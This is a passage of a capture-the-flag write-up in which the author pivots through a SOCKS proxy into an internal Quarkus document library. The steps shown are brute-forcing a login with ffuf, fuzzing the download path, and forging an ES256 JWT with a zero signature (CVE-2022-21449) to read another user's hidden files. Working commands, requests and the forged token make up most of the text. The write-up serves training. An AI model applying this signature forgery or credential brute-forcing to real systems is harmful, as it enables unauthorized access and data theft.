| fingerprint-strings:
| FourOhFourRequest, GetRequest, HTTPOptions:
| HTTP/1.0 404 Not Found
| content-length: 0
| RTSPRequest:
| RTSP/1.0 501 Not Implemented
| content-length: 0
| SIPOptions:
| SIP/2.0 501 Not Implemented
|_ content-length: 0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.94%I=7%D=10/11%Time=6526C981%P=x86_64-pc-linux-gnu%r(G
SF:etRequest,2D,"HTTP/1\.0\x20404\x20Not\x20Found\r\ncontent-length:\x200\
SF:r\n\r\n")%r(HTTPOptions,2D,"HTTP/1\.0\x20404\x20Not\x20Found\r\ncontent
SF:-length:\x200\r\n\r\n")%r(RTSPRequest,33,"RTSP/1\.0\x20501\x20Not\x20Im
SF:plemented\r\ncontent-length:\x200\r\n\r\n")%r(FourOhFourRequest,2D,"HTT
SF:P/1\.0\x20404\x20Not\x20Found\r\ncontent-length:\x200\r\n\r\n")%r(SIPOp
SF:tions,32,"SIP/2\.0\x20501\x20Not\x20Implemented\r\ncontent-length:\x200
SF:\r\n\r\n");
Nmap scan report for 172.20.0.5
Host is up (0.16s latency).
All 1000 scanned ports on 172.20.0.5 are in ignored states.
Not shown: 1000 closed tcp ports (conn-refused)
Nmap scan report for 172.20.0.6
Host is up (0.16s latency).
All 1000 scanned ports on 172.20.0.6 are in ignored states.
Not shown: 1000 closed tcp ports (conn-refused)
Nmap scan report for 172.20.0.7
Host is up (0.16s latency).
All 1000 scanned ports on 172.20.0.7 are in ignored states.
Not shown: 1000 closed tcp ports (conn-refused)
NSE: Script Post-scanning.
Initiating NSE at 12:15
Completed NSE at 12:15, 0.00s elapsed
Initiating NSE at 12:15
Completed NSE at 12:15, 0.00s elapsed
Initiating NSE at 12:15
Completed NSE at 12:15, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 5 IP addresses (5 hosts up) scanned in 806.23 seconds
Crouching Website, Hidden Services Link to heading
So it looks as though the 172.20.0.0 network contains some sort of service not accessible from the outside. We see some HTML on 172.20.0.2:80
and something that responds to http on 172.20.0.3:8080
, though nmap has no idea how to deal with it. Let’s do some manual recon with curl to start with.
We’ll have to go through our socks proxy, and we have 2 options for that: either use curl’s proxy handling capabilities, or use proxychains again. Let’s try with curl and see what’s up.
curl --socks5 127.0.0.1:1080 -v 172.20.0.3
* processing: 172.20.0.3
* Trying 127.0.0.1:1080...
* Connected to 127.0.0.1 (127.0.0.1) port 1080
* SOCKS5 connect to 172.20.0.3:80 (locally resolved)
* SOCKS5 request granted.
* Connected to 127.0.0.1 (127.0.0.1) port 1080
> GET / HTTP/1.1
> Host: 172.20.0.3
> User-Agent: curl/8.2.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Content-Length: 6983
< Accept-Ranges: bytes
< Date: Thu, 12 Oct 2023 07:20:50 GMT
< Server: hastatic-1.0.0
< Content-Type: text/html
< Cache-Control: no-transform,public,max-age=300,s-maxage=900
< Last-Modified: Wed, 09-Aug-2023 08:46:38 UTC
< ETag: f35af4907f0d1060743066497fa66a555cc53497
< Vary: Accept-Encoding
< Referrer-Policy: strict-origin-when-cross-origin
< X-Frame-Options: SAMEORIGIN
< X-XSS-Protection: 1; mode=block
<
<!doctype html><html dir=ltr lang=en class=hydrated data-stencil-build=hos5z7x3><head><meta charset="utf-8">
<title>Document Library</title>
<meta name=Description content="Get Documents, or something">
<meta name=viewport content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=5.0, viewport-fit=cover">
<meta name="theme-color" content=#16161d>
<meta name="apple-mobile-web-app-capable" content=yes>
<meta http-equiv="x-ua-compatible" content="IE=Edge">
<link rel=modulepreload href="/build/p-de878568.js?v=bbef4bcf7e">
<link rel=modulepreload href="/build/p-8c8b64f6.js?v=7030a01d23">
<link rel=modulepreload href="/build/p-70636e03.js?v=188377ce7e">
<link rel=modulepreload href="/build/p-a21ef19c.js?v=5d7aad8484">
<script type=module src="/build/app.esm.js?v=64822c3f17" data-stencil data-resources-url="/build/"
data-stencil-namespace=app></script>
<script nomodule src="/build/app.js?v=7db6613dfa" data-stencil></script>
<style sty-id="sc-app-root">/*!@header*/header.sc-app-root{background:#5851ff;color:white;height:56px;display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;-webkit-box-shadow:0 2px 5px 0 rgba(0, 0, 0, 0.26);box-shadow:0 2px 5px 0 rgba(0, 0, 0, 0.26)}/*!@h1*/h1.sc-app-root{font-size:1.4rem;font-weight:500;color:#fff;padding:0 12px}</style>
<style sty-id="sc-stencil-route">stencil-route.inactive{display:none}</style>
<style sty-id="sc-app-home">/*[email protected]*/.app-home.sc-app-home{padding:10px}</style>
<style sty-id="sc-app-docfilter">/*!@form*/form.sc-app-docfilter{padding:1rem}/*!@label*/label.sc-app-docfilter{padding:0 1rem}/*!@button*/button.sc-app-docfilter{background:#5851ff;color:white;margin:8px;border:none;font-size:13px;font-weight:700;text-transform:uppercase;padding:8px 20px;border-radius:2px;-webkit-box-shadow:0 8px 16px rgba(0, 0, 0, 0.1), 0 3px 6px rgba(0, 0, 0, 0.08);box-shadow:0 8px 16px rgba(0, 0, 0, 0.1), 0 3px 6px rgba(0, 0, 0, 0.08);outline:0;letter-spacing:0.04em;-webkit-transition:all 0.15s ease;transition:all 0.15s ease;cursor:pointer}/*!@button:hover*/button.sc-app-docfilter:hover{-webkit-box-shadow:0 3px 6px rgba(0, 0, 0, 0.1), 0 1px 3px rgba(0, 0, 0, 0.1);box-shadow:0 3px 6px rgba(0, 0, 0, 0.1), 0 1px 3px rgba(0, 0, 0, 0.1);-webkit-transform:translateY(1px);transform:translateY(1px)}</style>
<style sty-id="sc-app-newdoc">/*!@form*/form.sc-app-newdoc{padding:1rem}/*!@label*/label.sc-app-newdoc{padding:0 1rem}/*!@button*/button.sc-app-newdoc{background:#5851ff;color:white;margin:8px;border:none;font-size:13px;font-weight:700;text-transform:uppercase;padding:8px 20px;border-radius:2px;-webkit-box-shadow:0 8px 16px rgba(0, 0, 0, 0.1), 0 3px 6px rgba(0, 0, 0, 0.08);box-shadow:0 8px 16px rgba(0, 0, 0, 0.1), 0 3px 6px rgba(0, 0, 0, 0.08);outline:0;letter-spacing:0.04em;-webkit-transition:all 0.15s ease;transition:all 0.15s ease;cursor:pointer}/*!@button:hover*/button.sc-app-newdoc:hover{-webkit-box-shadow:0 3px 6px rgba(0, 0, 0, 0.1), 0 1px 3px rgba(0, 0, 0, 0.1);box-shadow:0 3px 6px rgba(0, 0, 0, 0.1), 0 1px 3px rgba(0, 0, 0, 0.1);-webkit-transform:translateY(1px);transform:translateY(1px)}/*!@div*/div.sc-app-newdoc{border:1px solid #ccc;border-radius:0.25rem}</style>
<link href="/build/app.css?v=786a6a8e0f" rel=stylesheet>
<link rel="apple-touch-icon" href="/assets/icon/icon.png?v=b20b4b2d98">
<link rel=icon type="image/x-icon" href="/assets/icon/favicon.ico?v=989038ce79">
<link rel=manifest href="/manifest.json?v=6743e93e97">
<link rel=canonical href="https://myapp.local/">
</head>
<body> <app-root class="sc-app-root-h hydrated" s-id=1><!--r.1--><div class="sc-app-root" c-id=1.0.0.0><header
class="sc-app-root" c-id=1.1.1.0><h1 class="sc-app-root" c-id=1.2.2.0><!--t.1.3.3.0-->Documents Library</h1></header><main
class="sc-app-root" c-id=1.4.1.1><stencil-router class="sc-app-root hydrated" c-id=1.5.2.0 s-id=2><!--r.2--><!--o.1.6--><!--s.2.0.0.0.--><stencil-route-switch
class="sc-app-root hydrated" group="4097-5527-6697-5112" c-id=1.6.3.0 s-id=3><!--r.3--><!--o.1.7--><!--o.1.8--><!--o.1.9--><!--s.3.0.0.0.--><stencil-route
class="sc-app-root hydrated" group="4097-5527-6697-5112" c-id=1.7.4.0 s-id=4><!--r.4--><app-home class="sc-app-home-h hydrated"
c-id=4.0.0.0 s-id=5><!--r.5--><div class="app-home sc-app-home" c-id=5.0.0.0><app-docfilter class="sc-app-home sc-app-docfilter-h hydrated"
c-id=5.1.1.0 s-id=6><!--r.6--><div class="app-docfilter sc-app-docfilter" c-id=6.0.0.0><h2 class="sc-app-docfilter"
c-id=6.1.1.0><!--t.6.2.2.0-->Filter By:</h2><form id=filterForm class="sc-app-docfilter" c-id=6.3.1.1><label
class="sc-app-docfilter" c-id=6.4.2.0><!--t.6.5.3.0-->Title:<input type=text name=title id=filter_title
class="sc-app-docfilter" c-id=6.6.3.1></label><label class="sc-app-docfilter" c-id=6.7.2.1><!--t.6.8.3.0-->Author:<input
type=text name=author id=filter_author class="sc-app-docfilter" c-id=6.9.3.1></label><label class="sc-app-docfilter"
c-id=6.10.2.2><!--t.6.11.3.0-->Hidden:<input type=checkbox name=hidden id=filter_hidden class="sc-app-docfilter"
c-id=6.12.3.1></label><button type=submit class="sc-app-docfilter" c-id=6.13.2.3><!--t.6.14.3.0-->Filter</button></form></div></app-docfilter><table
class="sc-app-home" c-id=5.2.1.1><thead class="sc-app-home" c-id=5.3.2.0><tr class="sc-app-home" c-id=5.4.3.0><th
class="sc-app-home" c-id=5.5.4.0><!--t.5.6.5.0-->Title</th><th class="sc-app-home" c-id=5.7.4.1><!--t.5.8.5.0-->Author</th><th
class="sc-app-home" c-id=5.9.4.2><!--t.5.10.5.0-->Filename</th><th class="sc-app-home" c-id=5.11.4.3><!--t.5.12.5.0-->File</th><th
class="sc-app-home" c-id=5.13.4.4><!--t.5.14.5.0-->Date Created</th><th class="sc-app-home" c-id=5.15.4.5><!--t.5.16.5.0-->Date Modified</th></tr></thead><tbody
class="sc-app-home" c-id=5.17.2.1></tbody></table><app-newdoc class="sc-app-home sc-app-newdoc-h hydrated"
c-id=5.18.1.2 s-id=7><!--r.7--><div class="sc-app-newdoc" c-id=7.0.0.0><h4 class="sc-app-newdoc" c-id=7.1.1.0><!--t.7.2.2.0-->New Document</h4><form
id=newdocForm class="sc-app-newdoc" c-id=7.3.1.1><label class="sc-app-newdoc" c-id=7.4.2.0><!--t.7.5.3.0-->Title:<input
type=text name=title id=new_title required class="sc-app-newdoc" c-id=7.6.3.1></label><label class="sc-app-newdoc"
c-id=7.7.2.1><!--t.7.8.3.0-->File:<input type=file name=file id=new_file required class="sc-app-newdoc"
c-id=7.9.3.1></label><label class="sc-app-newdoc" c-id=7.10.2.2><!--t.7.11.3.0-->Hidden:<input type=checkbox
name=hidden id=new_hidden class="sc-app-newdoc" c-id=7.12.3.1></label><button type=submit class="sc-app-newdoc"
c-id=7.13.2.3><!--t.7.14.3.0-->Submit</button></form></div></app-newdoc></div></app-home></stencil-route><stencil-route
class="sc-app-root hydrated" c-id=1.8.4.1 s-id=8 group="4097-5527-6697-5112" style="display: none;"><!--r.8--></stencil-route><stencil-route
class="sc-app-root hydrated" c-id=1.9.4.2 s-id=9 group="4097-5527-6697-5112" style="display: none;"><!--r.9--></stencil-route></stencil-route-switch></stencil-router></main></div></app-root>
</body>
* Connection #0 to host 127.0.0.1 left intact
</html>
Well that’s a mess, Let’s see if cleaning up and highlighting the html helps more…
We see here that we have a table with several forms, and what appears to be a document library. Unfortunately, we won’t be able to get it working with curl, as it requires javascript. Taking a cursory glance at the javascript via curl shows a minified mess, so let’s take a look via the browser dev tools.
Now I used burpsuite to see what’s going on and so I can intercept requests to understand how the system works.
We see that we end up with a GET
request to the documents
endpoint on a server called library-back
on port 8080
. Could this be our other mysterious service?
Intercepting the response, we get a 403 error saying CORS is denied…
We try faking the origin to 127.0.0.1
to no avail. The backend connection is called to library-back
so perhaps we can refer from library-front
, or library
, or we can try localhost
Using localhost
or library
seems to work, and as a bonus, library
is a dns redirect to the front-end site, so we can use that as the url to snoop around.
Authenticating Link to heading
It looks as though we need to authenticate though. If we connect from the browser via the library endpoint, then we get redirected to a poorly-made login form.
Trying something posts a request to the backend to the j_security_check
endpoint with the j_username
and j_password
parameters, this can help us to bruteforce the login if we so wish.
Let’s jump back to the command line here and try out the request with curl
curl --socks5-hostname 127.0.0.1:1080 -v http://library-back:8080/j_security_check --data 'j_username=admin&j_password=password'
* Trying 127.0.0.1:1080...
* Connected to 127.0.0.1 (127.0.0.1) port 1080
* SOCKS5 connect to library-back:8080 (remotely resolved)
* SOCKS5 request granted.
* Connected to 127.0.0.1 (127.0.0.1) port 1080
> POST /j_security_check HTTP/1.1
> Host: library-back:8080
> User-Agent: curl/8.3.0
> Accept: */*
> Content-Length: 36
> Content-Type: application/x-www-form-urlencoded
>
< HTTP/1.1 401 Unauthorized
< content-length: 0
<
* Connection #0 to host 127.0.0.1 left intact
We are able to resolve it via our proxy. This is good, let’s kickstart our favourite bruteforcing tool and see if the password is in rockyou.txt
but first we’ll need a username. In the room description, there’s mention of Bob
, so let’s try using bob
in lowercase.
ffuf -x socks5://127.0.0.1:1080 -v -fc 401 -c -w /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt -u http://library-back:8080/j_security_check -d 'j_username=bob&j_password=FUZZ' -H "Content-Type: application/x-www-form-urlencoded"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://library-back:8080/j_security_check
:: Wordlist : FUZZ: /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
:: Header : Content-Type: application/x-www-form-urlencoded
:: Data : j_username=bob&j_password=FUZZ
:: Follow redirects : false
:: Calibration : false
:: Proxy : socks5://127.0.0.1:1080
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response status: 401
________________________________________________
[Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 144ms]
| URL | http://library-back:8080/j_security_check
* FUZZ: ***
[WARN] Caught keyboard interrupt (Ctrl-C)
I killed the fuzzer when we got a result, as we don’t actually want to go through the entire list. Of course, we could have easily guessed the password. Let’s try logging in:
curl --socks5-hostname 127.0.0.1:1080 -v http://library-back:8080/j_security_check --data "j_username=bob&j_password=***"
* Trying 127.0.0.1:1080...
* Connected to 127.0.0.1 (127.0.0.1) port 1080
* SOCKS5 connect to library-back:8080 (remotely resolved)
* SOCKS5 request granted.
* Connected to 127.0.0.1 (127.0.0.1) port 1080
> POST /j_security_check HTTP/1.1
> Host: library-back:8080
> User-Agent: curl/8.3.0
> Accept: */*
> Content-Length: 29
> Content-Type: application/x-www-form-urlencoded
>
< HTTP/1.1 200 OK
< content-length: 0
< set-cookie: credz=DNaS0eGnHRdsrjjC3vVU0P01ExdBrufzPBXCL8VWy1FkwrRGeVT/LeZRg2BNlQ==; Path=/; HTTPOnly; SameSite=Lax
<
* Connection #0 to host 127.0.0.1 left intact
We get a cookie called credz
which we can assume contains our session information.
Trolling Through the Library Link to heading
Let’s try the documents
endpoint with our new credentials
curl --socks5-hostname 127.0.0.1:1080 -v http://library-back:8080/documents -b 'credz=DNaS0eGnHRdsrjjC3vVU0P01ExdBrufzPBXCL8VWy1FkwrRGeVT/LeZRg2BNlQ=='
* Trying 127.0.0.1:1080...
* Connected to 127.0.0.1 (127.0.0.1) port 1080
* SOCKS5 connect to library-back:8080 (remotely resolved)
* SOCKS5 request granted.
* Connected to 127.0.0.1 (127.0.0.1) port 1080
> GET /documents HTTP/1.1
> Host: library-back:8080
> User-Agent: curl/8.3.0
> Accept: */*
> Cookie: credz=DNaS0eGnHRdsrjjC3vVU0P01ExdBrufzPBXCL8VWy1FkwrRGeVT/LeZRg2BNlQ==
>
< HTTP/1.1 200 OK
< content-length: 176
< Content-Type: application/json;charset=UTF-8
< set-cookie: credz=DFDy2Aa1+0J1H2EZWQE3ohsD4KJQrJoNqtD1JxDE3X76Py1PQRNDCFooG4lf2g==; Path=/; HTTPOnly; SameSite=Lax
<
* Connection #0 to host 127.0.0.1 left intact
[{"id":"64d35510774649ab3562697d","name":"Hello","author":"bob","filename":"hello.txt","hidden":false,"created":"2022-11-22T09:31:48.702","modified":"2023-01-01T14:53:42.168"}]
We can get a listing, but can we get the actual documents? We know the filename, but not the URL. There are two ways to get the info that we want. Either the front-end should generate the download links, or we can try fuzzing it.
Front End Shenanigans Link to heading
The front end is a bit of a mess, but if we snoop around the javascript code, we find the bit that populates the table from the json received on the backend.
Or Fuzzy Shenanigans Link to heading
We can also guess that the format of the link to get the file will be /documents/<something>/filename
. Since we know that a file called hello.txt
exists, let’s try that with ffuf
.
ffuf -x socks5://127.0.0.1:1080 -v -c -w /usr/share/seclists/Discovery/Web-Content/big.txt -u http://library-back:8080/documents/FUZZ/hello.txt -b credz='DP1CbkHAqhoB3oGWxp8EuPj3KVJu1tK9RwSAPYeRFDVyE3p9iVg+3EXzimJSDg=='
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://library-back:8080/documents/FUZZ/hello.txt
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/big.txt
:: Header : Cookie: credz=DP1CbkHAqhoB3oGWxp8EuPj3KVJu1tK9RwSAPYeRFDVyE3p9iVg+3EXzimJSDg==
:: Follow redirects : false
:: Calibration : false
:: Proxy : socks5://127.0.0.1:1080
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
[Status: 200, Size: 12, Words: 2, Lines: 1, Duration: 232ms]
| URL | http://library-back:8080/documents/download/hello.txt
* FUZZ: download
:: Progress: [20476/20476] :: Job [1/1] :: 722 req/sec :: Duration: [0:00:37] :: Errors: 0 ::
Whichever method we use, let’s grab the contents of the file
curl --socks5-hostname 127.0.0.1:1080 http://library-back:8080/documents/download/hello.txt -b 'credz=DFLq2ymrgYx7Sdto2Pbcc095w1sPm8f0N7h7SViBQTE3vwsBj2OTyqtYbSpaQQ=='
Hello, World
Well that’s not very helpful. Looks like bob has nothing else and we’re out of luck, or are we?
Hidden File Command, Gotta Love ’em Link to heading
Looking way back to the front-end code, we see a filter form which modifies the call to the /documents
endpoint with query parameters. We can search by the document name
, author
, or hidden
.
Since we don’t know any document names or other authors, let’s try the hidden
parameter.
curl --socks5-hostname 127.0.0.1:1080 http://library-back:8080/documents\?author\=bob\&hidden\=true -b 'credz=DFLq2ymrgYx7Sdto2Pbcc095w1sPm8f0N7h7SViBQTE3vwsBj2OTyqtYbSpaQQ=='
[{"id":"64d35510774649ab3562697f","name":"Todo","author":"bob","filename":"todo.md","hidden":true,"created":"2022-05-02T13:31:13.495","modified":"2023-08-04T08:27:44.168"},{"id":"64d35510774649ab35626980","name":"Chat Logs","author":"bob","filename":"chat.log","hidden":true,"created":"2023-08-09T09:02:13.028","modified":"2023-08-09T09:02:13.028"}]
We see two files here: todo.md
and chat.log
Let’s see what they contain:
Unpacking Bob’s Files Link to heading
There’s quite of information to unpack here. From the todo list, we see that there’s probably an authentication issue on the backend, we don’t know what this is yet. We already knew about the mentioned CVE, and we should hang on to bruteforcing as a last resort.
From the chat logs, we see that there’s a JWT token scheme that’s at least partly implemented. We also see that we’re using Java which may be vulnerable to a certain algorithm which can be potentially used in a JWT. The JWT also contains the framework’s standard claims. We also get a flag, cool!
Which framework are we using here? What are the claims? Which algorithm do we need to use? Time for some research :)
Before though, we can guess at a new user: hydra
is mentioned in the chat logs. Let’s see if we can grab anything.
curl --socks5-hostname 127.0.0.1:1080 http://library-back:8080/documents\?author\=hydra -b 'credz=DOPPeBApdQR1gIvQq/MdYsT0oChBFZMsUM+3hCgjNL52u6Qa+TDNIC9GAdZ6eQ=='
[{"id":"64d35510774649ab3562697e","name":"Flag","author":"hydra","filename":"flagz.docx","hidden":false,"created":"2023-08-05T09:14:23.985","modified":"2023-08-05T09:14:23.985"}]
It looks like a flag, could this be our final flag? Let’s download it and see what’s inside.
curl --socks5-hostname 127.0.0.1:1080 http://library-back:8080/documents/download/flagz.docx -b 'credz=DOPPeBApdQR1gIvQq/MdYsT0oChBFZMsUM+3hCgjNL52u6Qa+TDNIC9GAdZ6eQ==' -o flagz.docx
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 145k 100 145k 0 0 73151 0 0:00:02 0:00:02 --:--:-- 73168
I’ll leave opening the document as an exercise to the reader.
Defeating the Hydra Link to heading
Well, we clearly want to get at Hydra’s hidden documents, let’s see if we can grab them as Bob:
curl --socks5-hostname 127.0.0.1:1080 http://library-back:8080/documents\?author\=hydra\&hidden\=true -b 'credz=DOPPeBApdQR1gIvQq/MdYsT0oChBFZMsUM+3hCgjNL52u6Qa+TDNIC9GAdZ6eQ=='
[{"id":"64d35510774649ab3562697f","name":"Todo","author":"bob","filename":"todo.md","hidden":true,"created":"2022-05-02T13:31:13.495","modified":"2023-08-04T08:27:44.168"},{"id":"64d35510774649ab35626980","name":"Chat Logs","author":"bob","filename":"chat.log","hidden":true,"created":"2023-08-09T09:02:13.028","modified":"2023-08-09T09:02:13.028"}]
No dice, we only get Bob’s files. It seems as though there’s a safeguard in place. Given the hints, it seems as though we’ll need to login as hydra
. We don’t know their password, but we can assume that it’s a fair bit stronger than Bob’s.
First we need to know what framework we’re dealing with here. For this, the login api may give some hints. The endpoint looks like a default, as do the parameters. A cursory google search doesn’t help much, but the task hint reads supersonic subatomic
. Searching for this and Java reveals that Quarkus is likely the framework being used here.
Quarkus uses the Smallrye JWT framework, which contains several claims which could be interesting. A quick google search regarding Quarkus and JWT leads us to https://quarkus.io/guides/security-jwt which contains quite a bit of information. Notably, the following claims are interesting:
- upn: The Principal name, generally some identifier
- groups: The roles attributed to the user
- iss: The Issuer, we should be able to use anything here, but it’s generally used to identify from where the token came
- iat: The unix timestamp at which the token was issued
- exp: The unix timestamp at which the token expires
Psychic Paper Signatures
Link to heading
The next step is to figure out what they meant by algorithm. Presumably they mean the cryptographic signing algorithm in the JWT. Searching for java cryptography CVE
leads us directly to CVE-2022-21449, aka Psychic Signatures. This was a flaw in the ECDSA algorithm in Java versions 15 to 18, wherin the code wouldn’t check that the parameters for the encryption algorithm were actually greater than 1. If we were to sign our token with zeros, then we could forge basically any credentials that we wanted. This blog post explains just that.
So now we have everything we need to forge a JWT token with hydra’s credentials:
{
"typ": "JWT",
"alg": "ES256"
}
{
"upn": "hydra",
"groups": [ "user" ],
"iat": 1697140990,
"exp": 1698140990
}
To code the signature, we need to define r=s=0
in the ASN.1 DER format. DER is a type-length-value
encoding, which allows us to easily encode encryption parameters to hex. Let’s look into how to encode our signature. We need the following in ASN.1 syntax:
SEQUENCE
INTEGER 00
INTEGER 00
The SEQUENCE
object is identified by 30
in hex. INTEGER
is identified by 02
, and each integer has a single value of 00
, which has length 01
.
Putting it all together, we get 30 06 02 01 00 02 01 00
. That is a Sequence of length 6, containing 2 integers of length 1, with value 0. In base64, this converts to MAYCAQACAQA
.
Encoding our JSON to a JWT yields:
eyJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NiJ9.eyJ1cG4iOiJoeWRyYSIsImdyb3VwcyI6WyJ1c2VyIl0sImlhdCI6MTY5NzE0MDk5MCwiZXhwIjoxNjk4MTQwOTkwfQ.MAYCAQACAQA
We can use this an an Authorization token in a curl request.
curl -v --socks5-hostname 127.0.0.1:1080 http://library-back:8080/documents -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NiJ9.eyJ1cG4iOiJoeWRyYSIsImdyb3VwcyI6WyJ1c2VyIl0sImlhdCI6MTY5NzE0MDk5MCwiZXhwIjoxNjk4MTQwOTkwfQ.MAYCAQACAQA"
* Trying 127.0.0.1:1080...
* Connected to 127.0.0.1 (127.0.0.1) port 1080
* SOCKS5 connect to library-back:8080 (remotely resolved)
* SOCKS5 request granted.
* Connected to 127.0.0.1 (127.0.0.1) port 1080
> GET /documents HTTP/1.1
> Host: library-back:8080
> User-Agent: curl/8.3.0
> Accept: */*
> Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NiJ9.eyJ1cG4iOiJoeWRyYSIsImdyb3VwcyI6WyJ1c2VyIl0sImlhdCI6MTY5NzE0MDk5MCwiZXhwIjoxNjk4MTQwOTkwfQ.MAYCAQACAQA
>
< HTTP/1.1 200 OK
< content-length: 178
< Content-Type: application/json;charset=UTF-8
<
* Connection #0 to host 127.0.0.1 left intact
[{"id":"64d35510774649ab3562697e","name":"Flag","author":"hydra","filename":"flagz.docx","hidden":false,"created":"2023-08-05T09:14:23.985","modified":"2023-08-05T09:14:23.985"}]
Defeating the Hydra, Part 2 Link to heading
Huzzah! we’re getting Hydra’s documents. Let’s try for the hidden files again and see what we can find!
curl --socks5-hostname 127.0.0.1:1080 http://library-back:8080/documents\?hidden\=true -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NiJ9.eyJ1cG4iOiJoeWRyYSIsImdyb3VwcyI6WyJ1c2VyIl0sImlhdCI6MTY5NzE0MDk5MCwiZXhwIjoxNjk4MTQwOTkwfQ.MAYCAQACAQA"
[{"id":"64d35510774649ab35626981","name":"Specifications for Document Library","author":"hydra","filename":"specs.pdf","hidden":true,"created":"2022-10-25T17:30:24.34","modified":"2023-10-25T17:30:24.34"}]
Hmm, let’s grab that file and take a look.
curl --socks5-hostname 127.0.0.1:1080 http://library-back:8080/documents/download/specs.pdf -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NiJ9.eyJ1cG4iOiJoeWRyYSIsImdyb3VwcyI6WyJ1c2VyIl0sImlhdCI6MTY5NzE0MDk5MCwiZXhwIjoxNjk4MTQwOTkwfQ.MAYCAQACAQA" -o specs.pdf
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 54430 100 54430 0 0 238k 0 --:--:-- --:--:-- --:--:-- 237k
False Flag Operation Link to heading
Opening the file, we see a design document for the library. It’s a bit sparse, but at the end, we can see a flag.
Of course it’s not that easy. So where can the real flag be? Well, we know the basic format of the data that we need to exfiltrate, so let’s try a basic search in the document.
Oh Hydra you sneaky sneaky *******.
Lessons Learned Link to heading
So we ran through a gauntlet of traps and troubles to exfiltrate sensitive data from an internal database. The most important lesson, as always, is to always keep your software patched (as much as possible anyways) to mitigate against known vulnerabilities.
Never assume that just because you’re behind a firewall that you’re safe. If an attacker can get access to a machine behind the firewall, they will be able to pivot, either through a proxy, or perhaps even server-side request forgery.
I hope you all had fun with this box :)
I want to shout out Maxime Escourbiac, who created a similar challenge to the foothold for a CTF I played not too long ago, and which gave me the inspiration for this box.
Stay tuned for more adventures with Bob the Developer. Cheers!